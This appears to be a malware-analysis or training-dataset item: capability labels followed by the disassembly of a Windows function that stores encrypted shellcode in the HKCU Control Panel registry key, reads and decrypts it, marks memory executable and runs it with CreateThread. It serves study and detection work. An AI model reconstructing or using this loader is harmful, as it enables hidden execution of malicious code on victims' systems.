Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create thread
Query or enumerate registry value
Set registry value
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x80
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x78], rax
lea rdi, [0x140005040]
xor ebp, ebp
lea rsi, str.MalDevAcademy
mov qword [rsp + 0x70], rbp
mov rdx, rdi
mov qword [rsp + 0x20], rsi
lea r9, str.Control_Panel
mov r8d, 0x1ed5e0
lea rcx, str._i__Writing_0x_p___Size:__ld___to___s_s__...
mov ebx, 1
call fcn.140001010
lea rax, [rsp + 0x70]
xor r8d, r8d
lea r9d, [rbx + 1]
mov qword [rsp + 0x20], rax
lea rdx, str.Control_Panel
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x14000110c
mov edx, eax
lea rcx, str.____RegOpenKeyExA_Failed_With_Error_:__d_n
call fcn.140001010
mov ebx, ebp
jmp 0x140001152
mov rcx, qword [rsp + 0x70]
mov r9d, 3
mov dword [rsp + 0x28], 0x1ed5e0
xor r8d, r8d
mov rdx, rsi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x140001146
mov edx, eax
lea rcx, str.____RegSetValueExA_Failed_With_Error_:__d_n
call fcn.140001010
mov ebx, ebp
jmp 0x140001152
lea rcx, str.___DONE____n
call fcn.140001010
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x140001162
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x140001178
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.___Error_Writing_the_ShelCode_to_Registry__error_code:__d_n
jmp 0x1400013b6
lea rax, [rsp + 0x70]
mov dword [rsp + 0x70], ebp
mov qword [rsp + 0x30], rax
lea rdx, str.Control_Panel
mov qword [rsp + 0x28], rbp
mov r9d, 0xffff
mov r8, rsi
mov qword [rsp + 0x20], rbp
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
test eax, eax
jne 0x140001218
mov ebx, dword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
jne 0x1400011e3
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____HeapAlloc_Failed_With_Error_:__d_n
jmp 0x14000121f
lea rax, [rsp + 0x70]
mov r9d, 0xffff
mov qword [rsp + 0x30], rax
lea rdx, str.Control_Panel
mov qword [rsp + 0x28], rdi
mov r8, rsi
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
test eax, eax
je 0x140001238
lea rcx, str.____RegGetValueA_Failed_With_Error_:__d_n
mov edx, eax
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.___Error_Retrieving__the_ShellCode_from_registry__error_code:__d_n
jmp 0x1400013b6
mov ebx, dword [rsp + 0x70]
lea rcx, str.Encrypted_ShellCode_retrieve_from_registry:_n
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
test ebx, ebx
je 0x1400013a9
lea rax, [0x1401f2620]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x40]
lea rax, [0x1401f2640]
mov dword [rsp + 0x48], ebp
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x50], rdi
mov dword [rsp + 0x58], ebx
call fcn.1400013f0
test eax, eax
je 0x1400013a9
mov rdi, qword [rsp + 0x40]
lea rcx, str.Decrypted_ShellCode_retrieve_from_registry:_n
mov esi, dword [rsp + 0x48]
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov r9d, 4
mov dword [rsp + 0x70], ebp
mov r8d, 0x3000
mov edx, esi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x1400012db
lea rbx, str.____VirtualAlloc_Failed_With_Error_:__d__n
jmp 0x140001364
mov rdx, rbx
lea rcx, str._i__Allocated_Memory_At_:_0x_p__n
call fcn.140001010
mov r8, rsi
mov rdx, rdi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov r8, rsi
xor edx, edx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memset
lea r9, [rsp + 0x70]
mov r8d, 0x40
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001329
lea rbx, str.____VirtualProtect_Failed_With_Error_:__d__n
jmp 0x140001364
lea rcx, str.___Press__Enter__To_Run_...
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor r9d, r9d
mov qword [rsp + 0x28], rbp
mov r8, rbx
mov dword [rsp + 0x20], ebp
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp qword [sym.imp.KERNEL32.dll_CreateThread], rbp
jne 0x140001383
lea rbx, str.____CreateThread_Failed_With_Error_:__d__n
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.___Error_running_the_ShellCode__error_code:__d_n
jmp 0x1400013b6
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor eax, eax
jmp 0x1400013c2
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.___Error_decrypting_ShellCode__error_code:__d_n
mov edx, eax
call fcn.140001010
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1400016f0
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret